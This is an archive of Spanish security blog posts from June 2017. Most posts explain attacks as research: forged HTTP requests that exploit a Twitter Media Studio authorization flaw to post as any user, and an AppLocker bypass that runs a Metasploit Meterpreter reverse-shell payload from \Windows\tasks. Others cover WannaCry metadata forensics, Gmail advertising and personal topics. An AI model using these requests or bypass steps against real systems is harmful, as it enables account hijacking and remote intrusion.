lunes, junio 26, 2017

Cómo unos "descuidos" de seguridad en Twitter pueden usarse para dominar el mundo

Donald Trump es un usuario muy activo en Twitter con 32,7 millones de followers pero no es ni de lejos el usuario que tiene más seguidores. En el número uno del ranking a día de hoy se encuentra Katy Perry, con más de 100 millones. Los tweets publicados por cualquiera de ellos tienen un impacto de millones de usuarios de dispositivos móviles y ordenadores. Pero ¿y si alguien se hiciera con el control de dicha cuenta y pudiera publicar, por ejemplo, un enlace de descarga que apunte a un malware?

Figura 1: Cómo unos "descuidos" de seguridad en Twitter pueden usarse para dominar el mundo

Las consecuencias serían realmente de proporciones "bíblicas" (como decían en nuestra querida película “Cazafantasmas”) ya que un alto porcentaje de esos seguidores ejecutarían el malware con toda tranquilidad, debido a su total confianza en la fuente. Esto que parece improbable, pudo haber estado más cerca de lo que parece, y no es la primera vez, que en el año 2014 también tuvo un CSRF peligroso que permitía robar cuentas.

En menos de un año han aparecido al menos dos fallos de seguridad relacionados con Twitter que permitían a un atacante realizar diversas acciones desde cualquier cuenta como publicar un tweet en su nombre, subir videos, borrar imágenes, ver ficheros privados, etcétera. Ambas tienen en común el mismo vector de ataque: Twitter Media Studio.

Figura 2: Twitter Media Studio

Media Studio fue lanzado en agosto de 2016 y sustituye a Video Studio. Está formado por una serie de herramientas las cuales ofrecen algunas nuevas características, como mejoras de rendimiento, nueva biblioteca de medios unificada, programación de tweets mejorada, nuevos controles de acceso, etcétera.

Los bugs de Twitter

El investigador Anand Prakash encontró la primera de ellas cuando comenzó a buscar agujeros de seguridad dentro de esta librería y se dio cuenta que todas las peticiones a la API de Studio estaban enviando un parámetro llamado “owner_id”. Este parámetro “owner_id” es un número, secuencial y público, que corresponde a un usuario real de Twitter. Desde esta página web puedes averiguar el id de cualquier usuario de Twitter:

Figura 3: Página web para obtener el id de cualquier cuenta de Twitter

Aunque parezca increíble, este parámetro carecía de un control de seguridad o autorización para confirmar si el usuario que estaba realizando la petición era realmente el propietario de la cuenta. Por lo tanto, simplemente cambiando este valor, era posible realizar acciones sobre cualquier cuenta de Twitter, como poner nuevos tweets, subir videos, fotos, etcétera. Todo esto sin necesidad de saber la contraseña de la cuenta de Twitter.

En este ejemplo vemos cómo se utilizó este fallo de seguridad en una petición a Studio utilizando el id de un usuario de Twitter donde “victim´s user id” puede ser cualquier id público de un usuario de Twitter:
POST /1/tweet.json HTTP/1.1
Host: studio.twitter.com
{"account_id":"attacker's account id","owner_id":"victim's user id","metadata":
{"monetize":false,"embeddable_playback":false,"title":"Test tweet by attacker",
"description":"attacker attacker","cta_type":null,"cta_link":null},"media_key":"",
"text":"attacker attacker"}
En este otro ejemplo vemos la forma de subir cualquier contenido multimedia a la cuenta atacada:
POST /1/library/add.json HTTP/1.1
Host: studio.twitter.com
{"account_id":"attacker's accountid","owner_id":"victim's id","metadata":{"monetize":false,"name":"abcd.png","embeddable_playback":true,"title":"Attacker","description":"","cta_type":null,"cta_link":null},"media_id":"","managed":false,"media_type":"TweetImage"}
Anand Prakash encontró el problema el mismo día de su lanzamiento, pero no fue hasta mayo de 2017 cuando decidió hacerlo público. Twitter asegura que lo solucionó en menos de 24 horas y que ninguna cuenta se vio comprometida. Además, argumentan que, durante el lanzamiento, sólo los desarrolladores autorizados por Twitter tuvieron acceso a estas nuevas herramientas de Studio.

Figura 4: Twitter Bug Bounty Program en HackerOne

Anand recibió 5.040 dólares según el programa de recompensas de Twitter (“bug bounty program”) por haber encontrado este fallo (aunque él reclamó más dinero, ya que pensaba que este fallo entraba en otra categoría más crítica). Pero ¿qué hubiera ocurrido si finalmente ese fallo no se hubiera encontrado y solucionado a tiempo? Charlando con mi compañero Santiago sobre esta situación, empezamos a pensar en posibles escenarios de un posible "apocalipsis" digital a través de Twitter.

Figura 5: Vínculos no seguros en Twitter

Twitter tiene publicado en su web que dispone de un control para analizar el origen y contenido de los enlaces que se publican en los tweets. En función del resultado del análisis del enlace y el nivel de seguridad de la cuenta, puede mostrarnos un aviso (“warning”) cuando la URL o incluso puede llegar a bloquear dicho sitio web si este se encuentra dentro de una lista de sitios potencialmente peligrosos.

PoC: Vínculos no seguros en Twitter

Vamos realizar una prueba para comprobar el nivel de control que Twitter realiza a las URL publicadas. Para ello hemos creado dos cuentas con los parámetros de seguridad que se activan por defecto al crearlas - sin ninguna verificación extra o protección con un segundo factor de autenticación -. Desde una de las cuentas vamos a publicar dos tweets que luego veremos en la otra cuenta que está siguiendo a la primera. La cuenta que publica las URL se llama Cibertest y la cuenta follower se llama Cibertest2.

En este primer video podemos ver la publicación de un tweet con una URL y un fichero ejecutable subido al servicio de intercambio WeTransfer:


Figura 6: Comportamiento de Twitter con tweet con malware en WeTransfer

Como hemos podido observar, parece que no se ha realizado ningún proceso de análisis sobre el fichero descargado ya que lo más probable es que la URL de WeTransfer esté autorizada. De todas formas, el fichero podría ser un malware y podemos bajarlo sin problemas y ejecutarlo (en este punto también es importante el factor de protección del ordenador del usuario que lo ha descargado).

El servicio de alojamiento lo más habitual (o al menos debería de ser así) es que pueda detectar que el fichero subido contenga algún tipo de malware. Por este motivo vamos a realizar de nuevo la prueba, pero esta vez hemos creado nuestro propio servidor de ficheros usando Owncloud - siguiendo este tutorial - y publicado en Internet y hemos subido allí de nuevo el fichero ejecutable. La URL generada no está registrada en las válidas de Twitter:

Figura7: Comportamiento de Twitter con tweet con malware en OwnCloud

De nuevo la URL se publica sin problemas, sin ningún tipo de aviso. Ocurre lo mismo que en el caso anterior, nos permite bajar el fichero, aunque esta vez Google Chrome nos avisa que el archivo es un ejecutable (no debería de ser difícil para un atacante buscar alternativas para ejecutar un programa y evitar este aviso).

Figura 8: Publicación de un tweet con una URL propia desde un servidor de ficheros propio

Ahora supongamos por un momento tenemos un fallo 0Day en Twitter que nos permitiera publicar en cualquier cuenta sin necesidad de saber la contraseña (como el que hemos mencionado al principio del artículo) y por otro lado hemos conseguido subir y camuflar un malware utilizando una URL propia de uno de nuestros servidores de ficheros. Si publicamos un tweet utilizando sólo las tres primeras cuentas en Twitter con más seguidores y además enlazamos el malware (con diferentes versiones para cada plataforma) tendríamos potencialmente casi 300 millones de usuarios potencialmente afectados:

Figura 9: Tres de las cuentas con más followers de Twitter

En definitiva, si este caso hipotético se pudiera llevar a cabo, podríamos estar ante el malware definitivo con uno de los factores de propagación e impacto más grande de la historia.

Autor: Fran Ramirez (@cyberhadesblog) escritor de libro "Microhistorias: anécdotas y curiosidades de la historia de la informática" e investigador en ElevenPaths.

domingo, junio 25, 2017

Google en Gmail ya no va a leerse más tus e-mails para ponerte los anuncios

Este es el anuncio que Google hizo esta semana, el pasado 23 de Junio de 2017, donde después de más de una década leyéndose el correo electrónico de los usuarios para ponernos anuncios "relevantes" en base a nuestras comunicaciones. Sí, Google te leía el correo electrónico de Gmail y te ponía anuncios en base al contenido de tus comunicaciones.

Figura 1: Google en Gmail ya no va a leerse más tus e-mails para ponerte los anuncios

Siempre me ha parecido que la compañía ha sabido gestionar muy bien la imagen pública, y conseguir que algo que no le permitiría a otras empresas, a Google se lo permitió. Leerse el contenido de tus comunicaciones personales. Mientras que con otras empresas, la privacidad era una bandera que esgrimir contra cualquier movimiento, en el caso de Google y Gmail, los usuarios lo aceptaron de facto. Si bien, a día de hoy, hay gente que aún no tenía ni idea de esto.

Figura 2: Gmail will not be used or scanned for any ads personalization

Explicar lo que hacía Gmail con el correo electrónico es fácil. Se lee todos tus correos electrónicos, y en función del contenido busca los anuncios que más tienen que ver con el mensaje. Esto llevaba a situaciones muy curiosas, como cuando yo hacía una demo de Phishing a un Banco, y era el propio banco el que pagaba por "sponsorizar" el phishing.

Figura 3: Correo de phishing "esponsorizado" por el banco suplantado

Al mismo tiempo, Google estaba empujando herramientas de cifrado extremo a extremo, como el uso de WebPG en Google Chrome para que nadie - excepto ellos - pudieran leer tus mensajes. Y si algún correo se entrega sin cifrar, entonces Google te alerta de que alguien - además de ellos - ha podido leer tus mensajes, poniendote un candadito rojo.
Al final, de lo que se trata es de datos. Datos para alimentar el Big Data y hacer mejores servicios de Programatic Advertising. Conseguir llevar el anuncio a la persona que necesita algo antes que los demás. El que antes conecte la necesidad con el producto es el que más puede cobrar por sus servicios de Programatic Advertising. Y Google tenía la ventaja de que se leía tu correo electrónico para localizar mejor tus necesidades.

Figura 5: El viral de Gmail hecho por Microsoft para explicar lo que hacia Gmail

Además, Google al principio era muy agresivo en la publicidad. La ponía en modo híperenlace de texto, pero recuerdo hacer hasta un conteo del número de píxeles que ocupaba la publicidad en Gmail y en Hotmail, para ver quién ponía más anuncios. Pero es que Google necesitaba lugares donde poner anuncios al principio. La demanda era tan grande, que necesitaban sacar muchos anuncios en los lugares donde podían ponerlos. Hoy en día, el número de lugares donde Google puede poner anuncios es tan grande que no necesita ser tan agresivo en Gmail, donde poco a poco se diluye y desaparece.

Al final, el movimiento de no leer más tu correo electrónico tiene muchas lecturas. La primera, claro está, porque al final era la única compañía de las grandes que aún lo hacía. En segundo lugar, la llegada del GDPR en Europa y la e-Privacy Directive que puede que le acabe aplicando, le dejan en una situación muy distanciada con respecto a lo que quiere Europa, y en breve el resto del mundo. Por último, no hay que olvidar que, a pesar de que no se produjo mucho ruido en contra de Google, también salió en la foto del programa PRISM de la NSA por el que - supuestamente - se le daba acceso a los datos de los clientes.

Ahora ya no lo va a hacer más, así que la defensa de que no pasaba nada porque se leyeran el correo electrónico, ahora debe pasar a defender el cifrado e2e y la protección de las comunicaciones de los clientes por encima de todo. Algo que está bien, pero que difiere un poco con el modelo que tenían hasta el anuncio del 23 de Junio

Saludos Malignos!

sábado, junio 24, 2017

Grandes decisiones... o no.

Me han salido canas. Muchas. Como manda el curso de la vida. Me han salido, y puedo ver la diferencia solo mirando las fotos que he publicado por aquí durante las cuatro mil doscientas noventa y seis entradas a las que he dado POST. Me han salido canas, al tiempo que he ido viviendo. Y muchos lo habéis visto. Me habéis acompañado en este viaje de mi vida.

Figura 1: Grandes decisiones... o no.

No está toda mi vida en la red, porque la eclosión de la Web 2.0, con la entrada masiva de las personas con los servicios sociales me pilló ya mayor. Mis padres no subieron nunca fotos digitales mías a una red social para compartir con sus amigos. Mis colegas del colegio nunca tuvieron un grupo de WhatsApp conmigo. No comencé a relacionarme con chicas por Internet, sino al viejo estilo del siglo XX. En las aulas y los bares.

Me hice adulto antes de la eclosión de esa web 2.0. Mis padres no tenían teléfonos móviles para llamarme – ni mucho menos enviarme mensajes – cuando yo estaba de fiesta con los amigos. Rompí con mi primera novia y no tuve que bloquearla en ninguna red social para evitar ver sus mensajes. Fui padre de una hacker preciosa antes si quiera de tener cuenta de Twitter.

Aún así, desde que hace unos doce años abrí este blog – mi entrada de cabeza en la web 2.0 – mi vida se puede seguir prácticamente en Internet. Artículos de mis charlas, comentarios de mis amigos, fotos de reuniones con compañeros, mis primeros trabajos con las técnicas de SQL Injection. Se puede ver lo que fui trabajando para terminar mi carrera universitaria, las charlas en conferencias por todo el mundo. Blind LDAP injection, Heavy Queries, Metadatos, IPv6 attacks, Connection String Parameter Pollution, Latch, Faast, FOCA, Sappo, DirtyTooth, Dust RSS, WordPress in Paranoid Mode, JavaScript Botnets, AURA y no sé cuantas cosas más.

También he ido cambiando en mi trabajo, de Informática 64 a 0xWord, pasando por Talentum, ElevenPaths, Alise Devices, LUCA d3, Telefónica. Viajes por todo el mundo. Países lejanos y cercanos. Cañas en Barcelona. Brisas en el mar de Almería. Cena en The View. Caída en las zarzas con la bici. Asado en Argentina. Conferencia en China. Vinos por Castilla. Charla en Estocolmo. Conferencias en Oslo. Paper defendido en Oporto. Presentación en Varsovia. Charla en San Diego. Viaje a Quito. Visita a las minas de sal en Colombia.

Una noche en la UVI en A Coruña. Un monasterio en Ourense. Concierto de Fito. Amsterdam y la Black Hack. Otra vez Amsterdam con el TechEd para ser MVP. Amsterdam de regreso a otra Black Hack. También por allí con la Hack in the Box. El Museo Van Gogh. Paris. Roma. Bucarest para estar con BitDefender. Charla en Munich. Una Campus Party en Berlín. Una reunión de amigos en Huelva. Snow Board en Baqueria y charla en la universidad de Lleida.

Miro atrás en mi parte de la vida que está volcada en la web y parece que he vivido más de una vida en este tiempo. He bebido la vida a tragos. He corrido para hacer dos cosas en la misma unidad de tiempo. Y he llegado hasta aquí.

Todo lo que he hecho, me ha traído hasta este punto. Como en las películas que comienzan por el final y luego te explican cómo el protagonista ha llegado hasta ese instante. Como si todas las decisiones tomadas, todas las cosas hechas, todas las casualidades sucedidas y habidas en el curso de los acontecimientos hubieran sido un masterplan para tenerme al final aquí, sentando en mi nuevo sofá, escuchando música, con el portátil sobre las piernas cansadas después de haber hecho mis 26 kilómetros mañaneros con la bici en mi ruta.

Todo era un plan para llegar aquí. Aquí comienza la película de verdad. Ya hemos visto el curso de los acontecimientos. Se pueden seguir en la red durante los últimos doce años. Se pueden ver mis aciertos y mis errores. Se puede ver que tengo fans, haters, premios, medallas, página en la Wikipedia, derrotas y victorias. Y ahí estoy. Tecleando letras sobre un documento blanco esperando al final de la película. A que continúe. No me malinterpretéis, yo quiero que esta película sea como la saga de Bond o Dr. Who. Acaba una peli, y comienza otra.

En estos momentos, cuando estás en el cine o en un sofá, llega el estado de excitación. Sentado con las gafas de tres dimensiones. Comiendo palomitas o chuches. Con alguien a tu lado que te da la mano puntualmente. Comentando la película – no muy alto que luego te regañan -. Es ahí cuando esperas que la película se acelere. Tu corazón palpita un poco más. Que algo pase y el prota salve al universo, o salte por la ventana, o muera como en Crank. Es el momento de las decisiones importantes. Matar o morir. Salvar a la chica. Sacrificarse. Cambiar el curso de la historia.

Pero en la realidad no suele ser así.

El número de decisiones que tienen un impacto grande en la vida de una persona son apenas una decena. El resto del tiempo nos dedicamos a tomar decisiones menores. De hecho, las grandes decisiones de tu vida tal vez las tomaste casi sin darte cuenta, y es con el paso del metraje de tu película, cuando haces flashback, el momento en que te das cuenta de lo importante que fue aquella decisión. El impacto que tiene hoy en día lo que hiciste aquel otro día en el pasado.

Yo hoy he decidido hacer una gran decisión. Me voy a patinar con mi nuevo monopatín y dejo el post técnico que tenía previsto publicar hoy para otro día. Me voy a patinar a la pista donde suelo hacerlo cuando quiero pensar quemando rueda. Es la decisión de este protagonista. ¿Será tan importante? ¿Pasará algo allí? ¿o será solo un rato del protagonista patinado escuchando Spottify sin que nada pase? Solo el curso del metraje nos lo desvelará. En la siguiente entrega sabremos.

Saludos Malignos!

viernes, junio 23, 2017

Brutal Kangaroo y la infección por USB de equipos aislados

Las técnicas de infección de equipos y distribución de malware usando discos USB no es algo nuevo. Se conocía desde antes, pero saltó a los titulares de todo el mundo con la ciberarma Stuxnet, - atribuido popularmente a la NSA - que, en pocas palabras, fue un malware especialmente creado para distribuirse por medio de discos USB hasta llegar a unos equipos muy concretos de una central de enriquecimiento de uranio en Iran.

Figura 1: Brutal Kangaroo y la infección por USB de equipos aislados

Desde entonces, los exploits y los payloads para, desde un disco USB infectar a un equipo y viceversa, desde un equipo infectar a un USB, han ido apareciendo a lo largo del tiempo. Desde payloads para copiar todos los datos que están en un disco USB conectado y llevarlos a la nube, hasta exploits que ejecutan código arbitrario en el servidor por medio de 0days que se han ido descubriendo.

Figura 2: USB Dumping para OS X

Este es un tema que a mí personalmente me gusta mucho, ya que los discos USB pintan en una organización una Hidden Network que puede ser utilizada para filtrar datos o para infectarte equipos mediante un sistema de polinización. Si tienes el mapa de la Hidden Network creada por discos USB en tu organización, probablemente podrás descubrir qué discos son los responsables de las últimas alertas de seguridad en tus sistemas antimalware o por donde te entró un software malicioso en tu organización.

Figura 3: Bug CVE-2017-8484 en ficheros .LNK

Como he dicho antes, desde Stuxnet todo el mundo puso mucha atención a estas técnicas de infección, y los 0days y payloads se han ido desarrollando a lo largo del tiempo. Sobre todo, porque en los equipos denominados Air-Gapped, es decir, totalmente desconectados de cualquier red, hay siempre dos trabajos a realizar. Primero conseguir llegar a él e infectar el equipo para ejecutar código malicioso y llegar a los datos o el sistema de control que protege ese servidor, y segundo, sacar la información o conectarse remotamente con un panel de control remoto.

Brutal Kangaroo de Vault7

Para el segundo trabajo, los estudios han ido apareciendo en los últimos tiempos, y se han utilizado desde sistemas de Radio Frecuencia, hasta la temperatura de máquinas cercanas, para conseguir esa comunicación entre un malware instalado en un servidor Air-Gapped (asilado) y el panel de control del atacante. Sin embargo, parece una canal muy rápido utilizar también el el propio canal USB, y eso es lo que parece que la CIA estaba utilizando.
La herramienta que ha sido publicada por Wikileaks dentro de las filtraciones de Vault7, lleva por nombre Brutal Kangaroo, y es, como se puede ver, un programa que permite implantar en un servidor aislado un software para infectar cualquier disco USB que se conecte al mismo. Brutal Kangaroo no está pensada para infectar al servidor aislado, sino para estar residente en él e infectar todos los discos USB que se conecten. Por supuesto, se podrían instalar las capacidades de este software malicioso también  por medio de un disco USB.

Una vez que el servidor aislado es infectado - al que denominan en la documentación "Emotional Simian", se utilizan varios 0days para Windows que hoy en día están cerrados por Microsoft en todas sus versiones soportadas (nota a esto, versiones soportadas), para infectar los discos USB. La lista de exploits no es muy larga, pero contaba con el 0day de los ficheros .LNK que Microsoft ha vuelto a revisitar hace dos días o con EzCheese que cuenta con soporte para diferentes versiones. En la imagen se puede ver cómo el creador de la instancia puede elegir su target correctamente.
Son más de 150 páginas de documentación, que para los investigadores van a abrir unas cuantas horas de análisis, para entender mejor cómo funcionan las herramientas de ciberespionaje que sacan partido de los 0days y payloads que se van descubriendo.

Saludos Malignos!

jueves, junio 22, 2017

Sesiones de Changing the Game with Big Data en Vídeo

Ha sido hace nada, y ya están disponibles los vídeos del evento que realizaron los compañeros de LUCA en Madrid. Bajo el título de "Changing the Game with Big Data" presentaron algunos de los proyectos en los que hemos estado trabajando durante los últimos tiempo, con experiencias concretas contadas directamente por los propios clientes.

Figura 1: Sesiones de Changing the Game with Big Data en Vídeo

Yo tuve el honor de dar la bienvenida a los asistentes que puedes ver aquí, pero lo realmente importante son las charlas donde se pudo ver todo lo en lo que desde el equipo de LUCA Data-Driven Decisions se ha estado trabajando. Estas son las sesiones.


Figura 2: La propuesta de LUCA para transformar tu sector 


Figura 3: LUCA Store: Conociendo mejor a tu cliente

En el Mobile World Congress presentamos LUCA Store, con varios casos concretos de clientes, que puedes ver en este vídeo de dos minutos donde se ve el poder de los insights generados.

Figura 4: LUCA Store


Figura 5: LUCA Transit: Innovación en la gestión de la movilidad en las smartciteis

Además del caso explicado en la charla de LUCA Transit de la movilidad de Zaragoza, ya en el Mobile World Congress de este año hablamos de cómo usar LUCA Transit con datos OpenData de las ciudades para medir la seguridad de las ciudades. Esta es la explicación de cómo se saca esa información.


Figura 6: LUCA Transit: Cómo medir la seguridad de las carreteras con Big Data


Figura 7: LUCA Tourism: Optimizando la oferta turística con Big Data 


Figura 8: Big Data & Business con Synergic Partners


Figura 9: Sesión de Preguntas y Respuestas

No hay nada mejor que ver a tus clientes hablando de las soluciones creadas, y en el mundo del Big Data, donde la aplicación de los insights que se extraen de los datos tiene tanto impacto, más todavía. Esperamos que estas experiencias os den ideas para aplicar el poder del Big Data en vuestro entorno.

Saludos Malignos!

miércoles, junio 21, 2017

Aprende a tener Redes más seguras con técnicas de Machine Learning con esta sesión en vídeo #redes

Esta semana ha tenido lugar el seminario dedicado a la consecución de "Redes más seguras con Machine Learning". Este seminario lo han realizado nuestros ingenieros de LUCA Data-Driven Decisions y analistas de ElevenPaths y mezcla las dos disciplinas conjuntamente: El análisis del tráfico de red y las técnicas de Machine Learning tan útiles para detectar anomalías en las situaciones que están sucediendo en la red.

Figura 1: Redes más seguras con Machine Learning

El vídeo de la sesión está ya disponible en Youtube, y lo puedes ver aquí mismo, aprovechando que ya llegan las jornadas de verano y las tardes de verano para aprender cosas nuevas. Nuestro analista de seguridad Rafa Sánchez y la Dra. Carmen Torrano dirigen esta sesión.

Figura 2: LUCA Talk 6: Redes más seguras con Machine Learning

Con estas técnicas, se detectan muchos de los ataques de redes IPv4&IPv6 que describimos en el libro de 0xWord dedicado a esta temática, y son de gran utilidad para tenerlas en los SOCs.

Saludos Malignos!

martes, junio 20, 2017

Cómo saltarse AppLocker en Windows 10 con las reglas por defecto

La semana pasada hablamos de un Bypass a AppLocker mediante el uso de la aplicación BgInfo. Hoy hablaremos de la configuración por defecto de AppLocker y los riesgos que esto proporcionan para la defensa del sistema. Las reglas por defecto de AppLocker permiten a todos los ficheros que se encuentran dentro de la ruta Windows y Program Files ser ejecutados, ya que, si no fuera así, el sistema no funcionaría de forma normal. Si no se establecen los permisos de forma adecuada en estas carpetas, un atacante podría explotar esto para conseguir bypassear AppLocker.

Figura 1: Cómo saltarse AppLocker en Windows 10 con las reglas por defecto

En Windows 2008 R2, se permite por defecto a los usuarios estándar del sistema tener acceso de lectura y escritura sobre estas carpetas: \Windows\Temp y \Windows\Tracing. La herramienta accesschk se puede utilizar para identificar si el grupo de usuarios o “Users” tiene permisos de lectura y escritura dentro de la carpeta Windows. En la imagen se puede visualizar este hecho en Windows 10.

Figura 2: Ejecución accesschk64 en Windows 10

Aunque en la imagen no se visualiza, la ruta \Windows\Tasks también está disponible y podemos almacenar binarios en dicha ruta. Ahora vamos a ver cómo funciona todo esto para hacer un bypass de AppLocker.

PoC: Jugando con las rutas y AppLocker

En primer lugar, vamos a ver las reglas que se crean por defecto en AppLocker al activarlo. Hay que recordar que tenemos que, en caso de no estarlo, tenemos que reiniciar el servicio de identidad llamado Application Identity. En la imagen se puede visualizar las reglas que Windows crea por defecto, cuando todo está activo.

Figura 3: Reglas por defecto en AppLocker

Si analizamos vemos que nos dan acceso, a cualquier usuario del sistema, a ejecutar binarios que se encuentren en Program Files y Windows, pero en ninguna ruta más. Es decir, si tuviéramos un binario en el escritorio no podríamos ejecutarlo.

Para comprobar este hecho, utilizamos el propio binario del accesschk.exe que hemos bajado con anterioridad. Si ejecutamos el fichero accesschk.exe en la ruta del escritorio, por ejemplo, obtendremos una denegación en la ejecución del fichero, tal y como se puede ver en la imagen.

Figura 4: Denegación de acceso en accesschk

Pero bien, si utilizamos una ruta que se encuentre en \Windows, dónde el usuario puede copiar archivos y utilizar dicha ruta como válida, ante la configuración por defecto de AppLocker, tendremos la posibilidad de hacer el bypass.

Como se puede ver en la anterior imagen, cuando lanzamos el fichero accesschk.exe en una ruta como \Windows\tasks, la cual está permitida por defecto por AppLocker, podemos lograr la ejecución. Esto es un riesgo grande de las rutas por defecto. Además, en sistemas como Windows 2008 R2 se probó que usuarios sin privilegios pueden lograr la ejecución en dicha ubicación.

PoC 2: Meterpreteando el AppLocker por defecto

En esta segunda prueba de concepto, la idea es utilizar esta característica de Windows y su configuración por defecto, para lograr ejecutar un Meterpreter a través de un binario utilizando la técnica denominada Weak Path Rules.

Lo primero es generarse un binario con Metasploit, por ejemplo. Utilizamos el módulo payload/windows/meterpreter/reverse_tcp y configuramos LHOST para que apunte a la dirección IP de la máquina del atacante/auditor. Después, utilizamos el comando generate para generar el binario en el formato que queramos.

En la siguiente imagen, se puede ver el fichero app.exe, ya creado. Este fichero contiene un Meterpreter apuntando a la dirección IP del atacante/auditor. Si probamos a lanzarlo desde el escritorio no podremos hacerlo, pero si utilizamos la ruta de \Windows\tasks lograremos su ejecución.

Figura 5: app.exe con Meterpreter apuntando a la dirección IP del atacante.

En la siguiente imagen, se puede ver como se genera el binario y como se configura el módulo handler en Metasploit para recibir la conexión inversa. Además, cuando se consigue el bypass de AppLocker vemos como logramos la sesión inversa en nuestra máquina proveniente del equipo Windows.

Figura 6: Sesión recibida en Metasploit tras la ejecución saltándose AppLocker

Para ejemplificar este proceso os dejamos dos videos que muestran en qué consiste el bypass del AppLocker y en el segundo vemos cómo aprovecharlo para lograr ejecutar una Meterpreter en el equipo Windows.

Figura 7: PoC ByPass de AppLocker por Weak Path Rules

Sin lugar a la duda, una interesante técnica a tener en cuenta y utilizable en un ethical hacking. Desde el punto de vista de la fortificación de Windows, puede ser interesante utilizar reglas más concretas para evitar este tipo de técnicas, que muestran lo sencillo, que, en algunas ocasiones, puede ser esto.

Figura 8: PoC ejecución de Meterpreter y recepción de shell saltándose AppLocker

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

lunes, junio 19, 2017

El creador de WannaCry es fan de Messi, no es muy ambicioso y usa Microsoft Word habitualmente en coreano

Esta semana, nuestros compañeros del laboratorio de ElevenPaths terminaban por publicar su análisis de WannaCry desde el punto de vista de los metadatos. Un enfoque no se había puesto encima de la mesa aún y que ellos han querido tocar de forma minuciosa y que, desde el punto de la investigación forense ha dado muchos frutos en el pasado.

Figura 1: Un análisis de WannaCry desde el punto de vista de los metadatos

No quiero en este post repetir el sesudo análisis que han hecho mis compañeros del laboratorio, así que os invito a leerlo completamente para entender todos los detalles - que es donde suele estar el diablo - pero si os voy a hacer un resumen de los datos más importantes para que tengáis una lectura rápida.

Al atacante le gusta Messi

O puede que lo odie, lo cierto es que es analizando los metadatos de los ficheros RTF con los que WannaCry configura los textos en la pantalla en la que informa a la víctima que ha sido infectado, es el usuario que aparece.

Figura 2: Textos multi-idioma en WannaDecryptor
Puedes utilizar cualquier herramienta que extraiga metadatos de documentos RTF como nuestro MetaShield Clean-Up Online y analizar los resultados que se obtienen. En las cadenas se puede ver el nombre del usuario que es Messi.

Figura 3: Messi en el análisis de metadatos de los textos RTF de WannaCry con MetaShield Clean-Up Online

Este nombre de usuario es el que el atacante utilizó para crear o modificar con su editor de textos los ficheros RTF.

Utilización de Microsoft Word

Averiguar que el atacante utiliza Microsoft Word para crear los documentos RTF no es demasiado complejo, ya que, como sucede con muchas otras herramientas, Microsoft Word deja "Información Oculta" en los ficheros RTF. En las versiones más antiguas de Microsoft Office, es fácil localizar esta versión en el atributo \generator, pero no siempre aparece cuando son versiones modernas.

Figura 4: Especificación RTF para el campo Generator

Sin embargo, analizando cómo implementa las especificaciones RTF se puede ver que el Internal Version Number - donde se guarda información de la versión del documento -sigue el estilo de Microsoft Office. Generalmente es un campo de 5 dígitos, no muy bien documentado, y que otras herramientas utilizan de forma distinta. Para analizar los RTF utilizamos nuestra nueva herramienta MetaShield Clean-Up Online, donde se puede subir un documento en este formato y ver qué metadatos tiene.

Utiliza Microsoft Word en Coreano

El indicio que nos lleva a pensar a que con gran probabilidad es Microsoft Office y con idioma en Coreano es, precisamente, la forma en que se comporta Microsoft Word con los idiomas cuando se hace esa configuración.

Figura 5: Idiomas en el documento RTF de WannaCry

En los documentos RTF usados en WannaCry salen tres idiomas, como se puede ver en la siguiente imagen que son Coreano, Inglés y Árabe. El primero de ellos aparece en la etiqueta del metadato \deflang con el control \plain, lo que indica que es el de por defecto.  La cadena de metadatos exacta es:
\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\
El que se utilice el inglés es porque si se configurar una versión de Microsoft Word con el idioma Coreano, éste software siempre añade el idioma inglés - es el comportamiento de Microsoft Office y podéis comprobarlo -. Además, el que aparezca el idioma árabe es porque existen versiones de Microsoft Office "EMEA" en que el idioma por defecto para versiones asiáticas, y se mete en el metadato \adeflangfe.

Figura 6: Selección de idioma por defecto en Microsoft Office

En definitiva, analizando el comportamiento de Microsoft Word con este tipo de documentos hace pensar en que el idioma por defecto es Corenao, a pesar de que los documentos estén escritos en Chino o Letón.

Tiempos de edición y número de revisiones

Una cosa interesante es que se puede analizar cuánto es el tiempo que ha tardado en editar cada uno de los ficheros RTF que se usa para todos los idiomas, y parece que se tomó mucho más tiempo para la versión de Chino Simplificado, y luego un poco menos para Inglés y Búlgaro, mientras que para el resto de los idiomas casi no dedica tiempo.

Figura 7: Tiempo de edición por tipo de fichero de idioma

En el caso de las revisiones sucede lo mismo. Chino es la que más revisiones cuenta, lo que parece que le pudo llevar a matizar más el texto de ese idioma.

Figura 8: Número de revisiones por tipo de documento

¿Esto quiere decir algo? Pues lo que quieras interpretar, pero está claro que el que escribió esos documentos parecía tener más interés - o conocimiento - del Chino tradicional que de otros idiomas.

Las posibles zonas GMT

Esta parte del análisis es de las más curiosas, ya que no solo tenemos la información de los metadatos de RTF y contamos también con los metadatos de los ficheros ZIP. En las versiones de WannaCry se utiliza un fichero ZIP para descargar el ransomware, y en él se almacena la fecha del último acceso con su propia zona horaria. Analizando las fechas del ZIP se puede concluir que:
2017-04-27 17:25 (hora local del atacante): El atacante crea b.wnry, un fichero BMP en segundo plano y el r.wnry, que contiene el fichero "readme". 
2017-05-09 16:57: El atacante crea otro zip con herramientas para conectarse a la red Tor y negociar el rescate. Se descargaron en el sistema de archivos del atacante a las 16:57, 09/05/2017, hora local del atacante, y son empaquetados e introducidos en un nuevo zip, s.wnry. 
2017-05-10 01:16: El atacante crea en su sistema c.wnry, que contiene dominios onion de la red Tor y una cartera para bitcoins. 
2017-05-11 15:59: Crea r.wnry que contiene instrucciones de borrado. 
2017-05-11 16:47: Edita b.wnry. 
2017-05-11 20:11: Edita c.wnry de nuevo. 
2017-05-11 20:13: Introduce b.wnry en el zip y lo comprime con contraseña. 
2017-05-12 02:22: Añade los ficheros EXE: u.wnry y t.wnry. El atacante empaqueta y establece una contraseña. El payload de gusano está listo.
Teniendo en cuenta que cada vez que se infecta un equipo se accede al fichero ZIP para extraer el ransomware, y que las primeras infecciones fueron descubiertas en la zona de Tailandia sobre las UTC 00:00, entonces podemos asumir cuales serían las zonas GMT posibles, es decir, que dentro de ese mismo día fueran posteriores a la fecha de creación del ramsonware.

Figura 9: Zonas horarias válidas con las fechas de los archivos ZIP

Podría ser coreano (UTC+9),  pero también de cualquier zona entre UTC+3 y UTC+12 como podéis ver en la infografía superior.

No es muy ambicioso

